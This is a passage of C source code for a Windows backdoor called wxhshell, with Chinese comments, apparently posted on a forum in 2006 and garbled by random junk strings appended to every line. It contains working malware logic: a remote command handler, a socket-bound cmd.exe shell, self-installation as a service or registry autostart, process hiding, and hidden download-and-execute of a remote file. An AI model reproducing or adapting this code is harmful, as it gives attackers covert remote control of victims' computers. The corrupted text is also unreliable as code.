      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6_s_2cr  
    break; Snav)Hb'  
  } <e s>FD  
  // 安装 M,ObzgW  
  case 'i': { covr0N)  
    if(Install()) W_##8[r(?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;hsem,C h7  
    else )TmqE<[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !)}3[h0  
    break; hLZ<h7:  
    } aq|R?  
  // 卸载 (np %urx!  
  case 'r': { EAgNu?L  
    if(Uninstall()) &3nbmkM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @4'bI)  
    else Q^iE,_Zq  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $\DOy&e  
    break; dHtbl\6  
    } kYVn4Wq  
  // 显示 wxhshell 所在路径 l^@!,Z  
  case 'p': { Eep*,Cnt0  
    char svExeFile[MAX_PATH]; eoC@b/F4  
    strcpy(svExeFile,"\n\r"); `Z}7G@ol  
      strcat(svExeFile,ExeFile); pnvHh0ck_  
        send(wsh,svExeFile,strlen(svExeFile),0); )<kI d4E  
    break; ;-OnCLr  
    } hSO(s  
  // 重启 i09w(k?  
  case 'b': { 4|Wg lri  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); H.D1|sU  
    if(Boot(REBOOT)) f~RS[h`:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y~w -z4  
    else { _msV3JBr  
    closesocket(wsh); Z]1=nSv  
    ExitThread(0); eu]t.Co[X  
    } PMdvBOtS`  
    break; P?y3YxS  
    } D};zPf@!p  
  // 关机 ZwV`} 2{  
  case 'd': { C{i9~80n  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); gm-I)z!tz  
    if(Boot(SHUTDOWN)) vSt7&ec  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DRBRs-D  
    else { +0,{gDd+  
    closesocket(wsh); u]B15mT?  
    ExitThread(0); Tk^J#};N  
    } y}fF<qih'>  
    break; yN0!uzdW*  
    } AX Y.80+  
  // 获取shell T4OH,^J  
  case 's': { c\n&Z'vK  
    CmdShell(wsh); tj:Q]]\M  
    closesocket(wsh); # !m`A+!~!  
    ExitThread(0); #SHmAB  
    break; rcC}4mNe  
  } nTJ-1A7EP  
  // 退出 `sS\8~A  
  case 'x': { uG|d7LS,%  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Y4\BHFq  
    CloseIt(wsh); acSm+t  
    break; _?vh#6F  
    } "!9hcv- ;  
  // 离开 Lv`*+;1 K  
  case 'q': { B]`!L/  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); n>)'!   
    closesocket(wsh); /D]V3|@E  
    WSACleanup(); X"hoDg  
    exit(1); sG/mmZHYzr  
    break; d$3;o&VUNI  
        } wIrjWU2  
  } Vr1Wr%  
  } $a.!X8sHB.  
l1_Tr2A}7/  
  // 提示信息 UN~dzA~V  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X>[x7t:  
} ZfpV=DU  
  } i/&?e+i  
>|)ia5#  
  return; K/2k/\Jk[_  
} +h64idM{U  
6,ZfC<)  
// shell模块句柄 M~0A-*N  
int CmdShell(SOCKET sock) 5/v,|  
{ (1 "unP-  
STARTUPINFO si; N2?o6)  
ZeroMemory(&si,sizeof(si)); Vvth,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }Htnhom0n  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |Ef\B] Ns  
PROCESS_INFORMATION ProcessInfo; n21Pfig  
char cmdline[]="cmd"; s`j QX\{  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4(VVEe  
  return 0; ho1Mo  
} vhw"Nl  
Z~g I)  
// 自身启动模式 o -< 5<  
int StartFromService(void) 02Ftn&bi  
{ m=^`u:=  
typedef struct j>2Jw'l;?  
{ jWn!96NhlL  
  DWORD ExitStatus; SIJ:[=5!7  
  DWORD PebBaseAddress; IL:d`Kbqf  
  DWORD AffinityMask; xiu?BP?V  
  DWORD BasePriority; b`NXe7A  
  ULONG UniqueProcessId; kOe %w-_  
  ULONG InheritedFromUniqueProcessId; vv2N;/;I  
}   PROCESS_BASIC_INFORMATION; 1'skCR|!<  
^i"C%8  
PROCNTQSIP NtQueryInformationProcess; 9,?\hBEu  
Lx{bR=  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; KGMX >t'  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `y&d  
]=s!cfu  
  HANDLE             hProcess; o/EN3J  
  PROCESS_BASIC_INFORMATION pbi; GM.2bA(y  
h8b*=oq  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); s6#@S4^=\  
  if(NULL == hInst ) return 0; ZS&n,<a5L}  
-=W"  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); dXkgWLI~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "4VC:"$f  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 'bH',X8gF  
 0p8Z l  
  if (!NtQueryInformationProcess) return 0; uCA! L)$  
@/S6P-4  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); IrAc&Ehul  
  if(!hProcess) return 0; '}3m('u  
T6X%.tR>`  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 45Z"U<I,9  
8+m[ %5lu  
  CloseHandle(hProcess); XA cpLj]  
U=?hT&w\S  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 64Ot`=A"  
if(hProcess==NULL) return 0; lpW|GFG  
h)%}O.ueB  
HMODULE hMod; Wvhg:vup  
char procName[255]; }uI(D&?+h  
unsigned long cbNeeded; x^UE4$oo  
so* lV  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); F1V[8I.0  
?)B"\#`t  
  CloseHandle(hProcess); s\c*ibxM,  
< q6z$c)K  
if(strstr(procName,"services")) return 1; // 以服务启动 R3MbTg  
o8!gV/oy  
  return 0; // 注册表启动 QN%w\ JXS  
} 1B;-ea  
*. H1m{V  
// 主模块 NF& ++Vr6  
int StartWxhshell(LPSTR lpCmdLine) dcFqK~  
{ %5X}4k!p  
  SOCKET wsl; go, Hfb  
BOOL val=TRUE; N4 O'{  
  int port=0; :!omog  
  struct sockaddr_in door; ,/.U'{  
jTNfGu0x  
  if(wscfg.ws_autoins) Install(); F&{RP>  
o<`)cb }  
port=atoi(lpCmdLine); Sz\"*W;>  
^wL n  
if(port<=0) port=wscfg.ws_port; )4d)G5{  
DRldRm/  
  WSADATA data; &G5=?ub  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; B]PTe~n^  
{VWUK`3  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   )I80Nq  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #A8d@]Ps  
  door.sin_family = AF_INET; Cdjh/+!f  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); fvajNP  
  door.sin_port = htons(port); V?g@pnN"  
,`7;S,f  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `aFy2x`3  
closesocket(wsl); <1(:W[M  
return 1; j@c fR  
} 7m;2M]BRi  
4X2XSK4  
  if(listen(wsl,2) == INVALID_SOCKET) { SnK j:|bV  
closesocket(wsl); |aiP7C  
return 1; %IS'R`;3  
} ALw5M'6q0\  
  Wxhshell(wsl); ={9G.%W  
  WSACleanup(); 7w7mE  
gf!hO$sQ3  
return 0; uN`{; Av  
`{g8A P3  
} o0-7#2  
AL.zF\?  
// 以NT服务方式启动 /o =V (  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) C;DNL^  
{ Ep% 5wR  
DWORD   status = 0; 0dKI+zgr  
  DWORD   specificError = 0xfffffff; kl.)A-6V  
|>( @n{  
  serviceStatus.dwServiceType     = SERVICE_WIN32; I*e8 5wef  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; G Q&9b_  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; r`]&{0}23  
  serviceStatus.dwWin32ExitCode     = 0; S7-ka{S  
  serviceStatus.dwServiceSpecificExitCode = 0; KlgPDV9mg  
  serviceStatus.dwCheckPoint       = 0; $or?7 w>  
  serviceStatus.dwWaitHint       = 0; }i1p &EN^  
)hH9VGZq(  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); GyV3]Qqj  
  if (hServiceStatusHandle==0) return; !F0MLvdX7^  
g-=)RIwm  
status = GetLastError(); tt=?*n  
  if (status!=NO_ERROR) H'myd=*h~8  
{ ?iH`-SY  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Ti/t\'6  
    serviceStatus.dwCheckPoint       = 0; r3o_mO?X  
    serviceStatus.dwWaitHint       = 0; L&1VPli  
    serviceStatus.dwWin32ExitCode     = status; (~/VP3.S  
    serviceStatus.dwServiceSpecificExitCode = specificError; NiU}A$U  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); _S:6;_bz  
    return; !1f8~"Z  
  } z`-?5-a]I  
X{rw+!  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; q!#e2Dx  
  serviceStatus.dwCheckPoint       = 0; 2 Mc/ah  
  serviceStatus.dwWaitHint       = 0; Sf>R7.lpP  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ?PNG@OK  
} !Gu,X'#Ab  
u49zc9  
// 处理NT服务事件,比如:启动、停止 `fEB,0j^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &x{CC@g/  
{ nu,#y"WQ  
switch(fdwControl) qO=_i d  
{ #n^P[Zw  
case SERVICE_CONTROL_STOP: -bHQy:  
  serviceStatus.dwWin32ExitCode = 0; qu[ ~#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; )r v5QH`i  
  serviceStatus.dwCheckPoint   = 0; 7<[p1C*B  
  serviceStatus.dwWaitHint     = 0; o+W5xHe^1  
  { ]=p@1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'iO?M'0gE#  
  } &~P5 [[Q  
  return; }LS:f,1oGp  
case SERVICE_CONTROL_PAUSE: #Ag-?k  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ko2Kz k  
  break; _Zya GDv  
case SERVICE_CONTROL_CONTINUE: Y) Y`9u<?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; !oeu  
  break; hXi^{ntw,  
case SERVICE_CONTROL_INTERROGATE: p<>%9180!F  
  break; <,d.`0:y  
}; $x5P5^Y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); s z  
} 2wE?O^J  
]]{$X_0n  
// 标准应用程序主函数 D3V5GQ\=  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) W B)<B  
{ X3#/|>  
FL!W oTB  
// 获取操作系统版本 5T;M,w6DV  
OsIsNt=GetOsVer(); ;cl\$TDL  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Z~{0XG\Y  
2g1[ E_?  
  // 从命令行安装 /5 Wy) -  
  if(strpbrk(lpCmdLine,"iI")) Install(); a'w~7y!}  
|R:gu\gG  
  // 下载执行文件 R6~x!  
if(wscfg.ws_downexe) { I%^Ks$<"  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^"\ jIP  
  WinExec(wscfg.ws_filenam,SW_HIDE); vz:P 2TkM  
} zVe@`gc  
W HO;;j  
if(!OsIsNt) { }l&Uh &B`  
// 如果时win9x,隐藏进程并且设置为注册表启动 b7g\wnV8z  
HideProc(); yfeX=h  
StartWxhshell(lpCmdLine); )n 1b  
} Ddde, WJA  
else Z<ozANbk  
  if(StartFromService()) oK&LYlU  
  // 以服务方式启动 j <>|Hi #`  
  StartServiceCtrlDispatcher(DispatchTable); ^,')1r,  
else 24"Trg\WK[  
  // 普通方式启动 tLe!_p)  
  StartWxhshell(lpCmdLine); Q=J"#EFs  
f7 V36Q8  
return 0; ZzLmsTtzIu  
}
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只看该作者 1 发表于: 2006-10-10
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